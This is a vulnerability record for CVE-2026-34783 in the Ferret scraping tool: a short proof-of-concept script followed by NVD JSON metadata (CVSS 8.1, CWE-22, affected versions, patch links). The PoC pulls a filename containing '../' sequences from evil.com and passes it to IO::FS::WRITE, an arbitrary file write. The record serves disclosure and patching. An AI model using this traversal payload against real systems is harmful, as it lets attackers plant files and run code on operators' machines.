CVE-2026-34783

// PoC Concept: Demonstrating the path traversal in IO::FS::WRITE // Attacker controls the content of 'https://evil.com/data.json' // which returns a JSON object with a malicious filename. // Victim's Ferret Script: LET doc = DOCUMENT('https://evil.com/data.json') // Assume the API returns: { "filename": "../../../../tmp/pwned.txt", "content": "exploit data" } LET filename = doc.filename LET content = doc.content // The vulnerable function writes the file to an arbitrary path controlled by the attacker IO::FS::WRITE(filename, content)

{"cve": {"id": "CVE-2026-34783", "sourceIdentifier": "[email protected]", "published": "2026-04-06T17:17:10.430", "lastModified": "2026-04-14T20:28:17.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ferret is a declarative system for working with web data. Prior to 2.0.0-alpha.4, a path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells. This vulnerability is fixed in 2.0.0-alpha.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:montferret:ferret:*:*:*:*:*:go:*:*", "versionEndExcluding": "2.0.0", "matchCriteriaId": "5ABE84D9-EFCF-4AEF-8A0A-CB71C1F25069"}, {"vulnerable": true, "criteria": "cpe:2.3:a:montferret:ferret:2.0.0:alpha1:*:*:*:go:*:*", "matchCriteriaId": "210E958B-0BF8-4176-9D5F-B0C830B43E95"}, {"vulnerable": true, "criteria": "cpe:2.3:a:montferret:ferret:2.0.0:alpha2:*:*:*:go:*:*", "matchCriteriaId": "BABC4531-C6A0-4B56-9CB4-6EAE7ED01696"}, {"vulnerable": true, "criteria": "cpe:2.3:a:montferret:ferret:2.0.0:alpha3:*:*:*:go:*:*", "matchCriteriaId": "24AD5875-C977-47CE-BE8F-3CCC4BF07045"}]}]}], "references": [{"url": "https://github.com/MontFerret/ferret/commit/160ebad6bd50f153453e120f6d909f5b83322917", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/MontFerret/ferret/security/advisories/GHSA-j6v5-g24h-vg4j", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/MontFerret/ferret/security/advisories/GHSA-j6v5-g24h-vg4j", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}